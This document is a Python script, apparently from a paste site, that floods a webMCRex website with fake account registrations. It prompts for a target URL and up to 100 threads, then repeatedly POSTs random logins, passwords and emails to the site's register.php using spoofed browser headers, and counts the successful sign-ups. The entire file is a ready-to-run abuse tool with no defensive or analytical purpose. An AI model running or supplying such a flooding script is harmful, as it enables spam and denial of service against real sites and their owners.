· 7 years ago · Mar 18, 2018, 12:42 PM
1#!/usr/bin/env python3
2
3import requests
4import threading
5import random
6import string
7import time
8
9
10print('Enter URL of the webMCRex site. Including protocol, but without slash on the end.')
11print('Example: https://example.com')
12URL = input('URL: ')
13if URL == '' or URL[-1] == '/' or URL[0:4] != 'http':
14 exit('IDIOT!')
15
16print('Set amount of threads. Recommended value is 10-20.')
17THREADS = input('Threads [10]: ')
18if THREADS == '':
19 THREADS = 10
20else:
21 THREADS = int(THREADS)
22if THREADS < 1 or THREADS > 100:
23 exit('WTF A U DOING?')
24
25
26# Generates random string from 5 to 14 symbols length
27def random_string():
28 length = random.randint(5, 14)
29 return ''.join([random.choice(string.ascii_lowercase + string.digits) for _ in range(length)])
30
31# Returns one of the listed providers
32def random_mail_provider():
33 return random.choice(('mail.ru', 'bk.ru', 'gmail.com', 'yandex.ru', 'ya.ru', 'yahoo.com'))
34
35# Stats
36successful_requests = 0
37failed_requests = 0
38
39headers = {
40 'Origin': URL,
41 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/61.0.3163.79 Chrome/61.0.3163.79 Safari/537.36',
42 'Content-Type': 'application/x-www-form-urlencoded',
43 'Accept': '*/*',
44 'Referer': URL+'/?mode=start',
45 'Accept-Encoding': 'gzip, deflate',
46 'Accept-Language': 'en-US,en;q=0.8,ru;q=0.6'
47}
48
49
50def flood():
51 global successful_requests, failed_requests, URL
52 while True:
53 salt = random_string()
54 data = {
55 'login': salt,
56 'pass': salt + '1',
57 'repass': salt + '1',
58 'email': random_string() + '@' + random_mail_provider(),
59 'female': random.randint(0, 1)
60 }
61 time.sleep(2)
62 r = requests.post(URL + '/register.php', headers=headers, data=data)
63 if r.status_code == 200:
64 if '"code":0' in r.text:
65 successful_requests += 1
66 else:
67 failed_requests += 1
68
69# Spawn threads
70for _ in range(THREADS):
71 threading.Thread(target=flood, daemon=True).start()
72
73# Show stats
74while True:
75 try:
76 print('Successful:', successful_requests, 'Failed:', failed_requests, end='\r')
77 time.sleep(1)
78 except KeyboardInterrupt:
79 print('\n\nStopped.')
80 exit()